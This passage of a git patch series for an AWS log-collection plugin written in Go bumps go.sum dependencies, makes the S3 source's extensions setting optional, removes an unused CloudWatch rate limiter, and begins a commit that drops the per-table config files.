h1:5K3Njcw06/l2y9vpGCSdcxWOYHOUk3dVNGDXN+FvAys= -golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE= +golang.org/x/net v0.30.0 h1:AcW1SDZMkb8IpzCdQUaIq2sP4sZ4zw+55h6ynffypl4= +golang.org/x/net v0.30.0/go.mod h1:2wGyMJ5iFasEhkwi13ChkO/t1ECNC4X4eBKkVFyYFlU= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -828,8 +828,8 @@ golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= golang.org/x/oauth2 v0.1.0/go.mod h1:G9FE4dLTsbXUu90h/Pf85g4w1D+SSAgR+q46nJZ8M4A= -golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= -golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= +golang.org/x/oauth2 v0.22.0 h1:BzDx2FehcG7jJwgWLELCdmLuxk2i+x9UDpSiss2u0ZA= +golang.org/x/oauth2 v0.22.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -917,13 +917,13 @@ golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= -golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.26.0 h1:KHjCJyddX0LoSTb3J+vWpupP9p0oznkqVk/IfjymZbo= +golang.org/x/sys v0.26.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.22.0 h1:BbsgPEJULsl2fV/AT3v15Mjva5yXKQDyKf+TbDz7QJk= -golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4= +golang.org/x/term v0.25.0 h1:WtHI/ltw4NvSUig5KARz9h521QvRC8RmF/cuYqifU24= +golang.org/x/term v0.25.0/go.mod h1:RPyXicDX+6vLxogjjRxjgD2TKtmAO6NZBsBRfrOLu7M= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -934,8 +934,8 @@ golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc= -golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= +golang.org/x/text v0.19.0 h1:kTxAhCbGbxhK0IwgSKiMO5awPoDQ0RpfiVYBfK860YM= +golang.org/x/text v0.19.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -993,8 +993,8 @@ golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg= -golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= +golang.org/x/tools v0.26.0 h1:v/60pFQmzmT9ExmjDv2gGIfi3OqfKoEP6I5+umXlbnQ= +golang.org/x/tools v0.26.0/go.mod h1:TPVVj70c7JJ3WCazhD8OdXcZg/og+b9+tH/KxylGwH0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -1165,10 +1165,10 @@ google.golang.org/genproto v0.0.0-20221014213838-99cd37c6964a/go.mod h1:1vXfmgAz google.golang.org/genproto v0.0.0-20221025140454-527a21cfbd71/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= google.golang.org/genproto v0.0.0-20240722135656-d784300faade h1:lKFsS7wpngDgSCeFn7MoLy+wBDQZ1UQIJD4UNM1Qvkg= google.golang.org/genproto v0.0.0-20240722135656-d784300faade/go.mod h1:FfBgJBJg9GcpPvKIuHSZ/aE1g2ecGL74upMzGZjiGEY= -google.golang.org/genproto/googleapis/api v0.0.0-20240722135656-d784300faade h1:WxZOF2yayUHpHSbUE6NMzumUzBxYc3YGwo0YHnbzsJY= -google.golang.org/genproto/googleapis/api v0.0.0-20240722135656-d784300faade/go.mod h1:mw8MG/Qz5wfgYr6VqVCiZcHe/GJEfI+oGGDCohaVgB0= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade h1:oCRSWfwGXQsqlVdErcyTt4A93Y8fo0/9D4b1gnI++qo= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade/go.mod h1:Ue6ibwXGpU+dqIcODieyLOcgj7z8+IcskoNIgZxtrFY= +google.golang.org/genproto/googleapis/api v0.0.0-20240814211410-ddb44dafa142 h1:wKguEg1hsxI2/L3hUYrpo1RVi48K+uTyzKqprwLXsb8= +google.golang.org/genproto/googleapis/api v0.0.0-20240814211410-ddb44dafa142/go.mod h1:d6be+8HhtEtucleCbxpPW9PA9XwISACu8nvpPqF0BVo= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 h1:pPJltXNxVzT4pK9yD8vR9X75DaWYYmLGMsEvBfFQZzQ= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1204,8 +1204,8 @@ google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACu google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.66.0 h1:DibZuoBznOxbDQxRINckZcUvnCEvrW9pcWIE2yF9r1c= -google.golang.org/grpc v1.66.0/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y= +google.golang.org/grpc v1.67.1 h1:zWnc1Vrcno+lHZCOofnIMvycFcc0QRGIzm9dhnDX68E= +google.golang.org/grpc v1.67.1/go.mod h1:1gLDyUQU7CTLJI90u3nXZ9ekeghjeM7pTDZlqFNg2AA= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= @@ -1222,8 +1222,8 @@ google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQ google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= -google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= +google.golang.org/protobuf v1.35.1 h1:m3LfL6/Ca+fqnjnlqQXNpFPABW1UD7mjh8KO2mKFytA= +google.golang.org/protobuf v1.35.1/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= diff --git a/sources/s3_bucket_source_config.go b/sources/s3_bucket_source_config.go index 98d18e4b..09c03c9f 100644 --- a/sources/s3_bucket_source_config.go +++ b/sources/s3_bucket_source_config.go @@ -17,7 +17,7 @@ type AwsS3BucketSourceConfig struct { Bucket string `hcl:"bucket"` Prefix *string `hcl:"prefix"` - Extensions []string `hcl:"extensions"` + Extensions []string `hcl:"extensions,optional"` Region *string `hcl:"region"` StartAfterKey *string `hcl:"start_after_key"` LexicographicalOrder bool `hcl:"lexicographical_order,optional"` From 5f4544c7686d75498762f676c9fdf9f8ea2f42c4 Mon Sep 17 00:00:00 2001 From: Graza Date: Wed, 18 Dec 2024 14:30:14 +0000 Subject: [PATCH 119/180] refactor(cloudwatch): removed unused rate limiter on cloudwatch source --- sources/cloudwatch_log_group_source.go | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index b3429e84..86afa6bc 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -15,7 +15,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-sdk/config_data" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/rate_limiter" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/types" ) @@ -31,8 +30,7 @@ func init() { type AwsCloudWatchSource struct { row_source.RowSourceImpl[*AwsCloudWatchSourceConfig, *config.AwsConnection] - client *cloudwatchlogs.Client - limiter *rate_limiter.APILimiter + client *cloudwatchlogs.Client } func (s *AwsCloudWatchSource) Init(ctx context.Context, configData config_data.ConfigData, connectionData config_data.ConfigData, opts ...row_source.RowSourceOption) error { @@ -53,13 +51,6 @@ func (s *AwsCloudWatchSource) Init(ctx context.Context, configData config_data.C } s.client = client - // TODO NEEDED? https://github.com/turbot/tailpipe-plugin-sdk/issues/6 - s.limiter = rate_limiter.NewAPILimiter(&rate_limiter.Definition{ - Name: "cloudwatch_limiter", - FillRate: 5, - BucketSize: 5, - }) - return nil } From 4c1f4423437f37ae5c46ebe0c17cafc0cd4a2159 Mon Sep 17 00:00:00 2001 From: kaidaguerre Date: Thu, 2 Jan 2025 13:50:46 +0000 Subject: [PATCH 120/180] Update for SDK custom table changes: remove table configs, update signature of GetSourceMetadata, EnrichRow and Map (#49) --------- Co-authored-by: Graza --- go.mod | 3 +++ go.sum | 20 ++++++++++++++++ mappers/cloudtrail_mapper.go | 3 ++- mappers/cost_usage_mapper.go | 8 +++---- mappers/guardduty_mapper.go | 3 ++- mappers/lambda_log_mapper.go | 3 ++- mappers/securityhub_finding_mapper.go | 3 ++- mappers/vpc_flow_log_mapper.go | 3 ++- mappers/waf_mapper.go | 3 ++- rows/alb_access_log.go | 4 ++-- rows/cloudtrail_log.go | 4 ++-- rows/cost_usage_log.go | 4 ++-- rows/elb_access_log.go | 4 ++-- rows/elb_access_log_test.go | 5 ++-- rows/guardduty_finding.go | 5 ++-- rows/lambda_log.go | 4 ++-- rows/s3_server_access_log.go | 4 ++-- rows/securityhub_finding.go | 4 ++-- rows/vpc_flow_log.go | 5 ++-- rows/waf_traffic_log.go | 4 ++-- sources/cloudwatch_log_group_source.go | 8 +++---- sources/cloudwatch_log_group_source_config.go | 5 ---- sources/s3_bucket_source.go | 15 +++++++----- sources/s3_bucket_source_config.go | 3 +-- sources/s3_collection_state.go | 5 +++- tables/alb_access_log_table.go | 11 +++++---- tables/alb_access_log_table_config.go | 14 ----------- tables/cloudtrail_log_table.go | 9 ++++---- tables/cloudtrail_log_table_config.go | 11 --------- tables/cost_usage_log_table.go | 9 ++++---- tables/cost_usage_log_table_config.go | 11 --------- tables/elb_access_log_table.go | 11 +++++---- tables/elb_access_log_table_config.go | 13 ----------- tables/guardduty_finding_table.go | 9 ++++---- tables/guardduty_finding_table_config.go | 11 --------- tables/lambda_log_table.go | 8 +++---- tables/lambda_log_table_config.go | 13 ----------- tables/s3_server_access_log_table.go | 11 +++++---- tables/s3_server_access_log_table_config.go | 13 ----------- tables/securityhub_finding_table.go | 9 ++++---- tables/securityhub_finding_table_config.go | 13 ----------- tables/vpc_flow_log_table.go | 23 ++++++++++++------- ...config.go => vpc_flow_log_table_format.go} | 6 ++--- tables/waf_traffic_log_table.go | 8 +++---- tables/waf_traffic_log_table_config.go | 11 --------- 45 files changed, 138 insertions(+), 218 deletions(-) delete mode 100644 tables/alb_access_log_table_config.go delete mode 100644 tables/cloudtrail_log_table_config.go delete mode 100644 tables/cost_usage_log_table_config.go delete mode 100644 tables/elb_access_log_table_config.go delete mode 100644 tables/guardduty_finding_table_config.go delete mode 100644 tables/lambda_log_table_config.go delete mode 100644 tables/s3_server_access_log_table_config.go delete mode 100644 tables/securityhub_finding_table_config.go rename tables/{vpc_flow_log_table_config.go => vpc_flow_log_table_format.go} (77%) delete mode 100644 tables/waf_traffic_log_table_config.go diff --git a/go.mod b/go.mod index b4251fb7..3f1fd92e 100644 --- a/go.mod +++ b/go.mod @@ -47,6 +47,7 @@ require ( github.com/containerd/log v0.1.0 // indirect github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect + github.com/elastic/go-grok v0.3.1 // indirect github.com/fatih/color v1.17.0 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect github.com/fsnotify/fsnotify v1.7.0 // indirect @@ -97,6 +98,7 @@ require ( github.com/klauspost/compress v1.17.11 // indirect github.com/leodido/go-urn v1.4.0 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect + github.com/magefile/mage v1.15.0 // indirect github.com/magiconair/properties v1.8.7 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.20 // indirect @@ -135,6 +137,7 @@ require ( github.com/tkrajina/go-reflector v0.5.6 // indirect github.com/turbot/pipes-sdk-go v0.9.1 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect + github.com/turbot/steampipe-plugin-sdk/v5 v5.8.0 // indirect github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7 // indirect github.com/ulikunitz/xz v0.5.10 // indirect github.com/xlab/treeprint v1.2.0 // indirect diff --git a/go.sum b/go.sum index e6ed8de5..3f404288 100644 --- a/go.sum +++ b/go.sum @@ -205,6 +205,8 @@ github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat6 github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo= github.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= +github.com/apache/arrow-go/v18 v18.0.0 h1:1dBDaSbH3LtulTyOVYaBCHO3yVRwjV+TZaqn3g6V7ZM= +github.com/apache/arrow-go/v18 v18.0.0/go.mod h1:t6+cWRSmKgdQ6HsxisQjok+jBpKGhRDiqcf3p0p/F+A= github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU= github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc= github.com/apparentlymart/go-dump v0.0.0-20190214190832-042adf3cf4a0 h1:MzVXffFUye+ZcSR6opIgz9Co7WcDx6ZcY+RjfFHoA0I= @@ -300,6 +302,8 @@ github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSs github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/elastic/go-grok v0.3.1 h1:WEhUxe2KrwycMnlvMimJXvzRa7DoByJB4PVUIE1ZD/U= +github.com/elastic/go-grok v0.3.1/go.mod h1:n38ls8ZgOboZRgKcjMY8eFeZFMmcL9n2lP0iHhIDk64= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= @@ -347,6 +351,8 @@ github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBEx github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= github.com/go-test/deep v1.1.0 h1:WOcxcdHcvdgThNXjw0t76K42FXTU7HpNQWHpA2HHNlg= github.com/go-test/deep v1.1.0/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= +github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= +github.com/goccy/go-json v0.10.3/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/goccy/go-yaml v1.11.2 h1:joq77SxuyIs9zzxEjgyLBugMQ9NEgTWxXfz2wVqwAaQ= github.com/goccy/go-yaml v1.11.2/go.mod h1:wKnAMd44+9JAAnGQpWVEgBzGt3YuTaQ4uXoHvE4m7WU= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= @@ -388,6 +394,8 @@ github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6 github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/flatbuffers v24.3.25+incompatible h1:CX395cjN9Kke9mmalRoL3d81AtFUxJM+yDthflgJGkI= +github.com/google/flatbuffers v24.3.25+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -528,6 +536,8 @@ github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+o github.com/klauspost/compress v1.15.11/go.mod h1:QPwzmACJjUTFsnSHH934V6woptycfrDDJnH7hvFVbGM= github.com/klauspost/compress v1.17.11 h1:In6xLpyWOi1+C7tXUUWv2ot1QvBjxevKAaI6IXrJmUc= github.com/klauspost/compress v1.17.11/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0= +github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= +github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= @@ -539,8 +549,12 @@ github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= +github.com/magefile/mage v1.15.0 h1:BvGheCMAsG3bWUDbZ8AyXXpCNwU9u5CB6sM+HNb9HYg= +github.com/magefile/mage v1.15.0/go.mod h1:z5UZb/iS3GoOSn0JgWuiw7dxlurVYTu+/jHXqQg881A= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= +github.com/marcboeker/go-duckdb v1.8.3 h1:ZkYwiIZhbYsT6MmJsZ3UPTHrTZccDdM4ztoqSlEMXiQ= +github.com/marcboeker/go-duckdb v1.8.3/go.mod h1:C9bYRE1dPYb1hhfu/SSomm78B0FXmNgRvv6YBW/Hooc= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= @@ -580,6 +594,8 @@ github.com/opencontainers/image-spec v1.1.0 h1:8SG7/vwALn54lVB/0yZ/MMwhFrPYtpEHQ github.com/opencontainers/image-spec v1.1.0/go.mod h1:W4s4sFTMaBeK1BQLXbG4AdM2szdn85PY75RI83NrTrM= github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= +github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= +github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= github.com/pjbgf/sha1cd v0.3.0 h1:4D5XXmUUBUl/xQ6IjCkEAbqXskkq/4O7LmGn0AqMDs4= github.com/pjbgf/sha1cd v0.3.0/go.mod h1:nZ1rrWOcGJ5uZgEEVL1VUM9iRQiZvWdbZjkKyFzPPsI= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -660,6 +676,8 @@ github.com/turbot/pipes-sdk-go v0.9.1 h1:2yRojY2wymvJn6NQyE6A0EDFV267MNe+yDLxPVv github.com/turbot/pipes-sdk-go v0.9.1/go.mod h1:Mb+KhvqqEdRbz/6TSZc2QWDrMa5BN3E4Xw+gPt2TRkc= github.com/turbot/steampipe-plugin-code v0.7.0 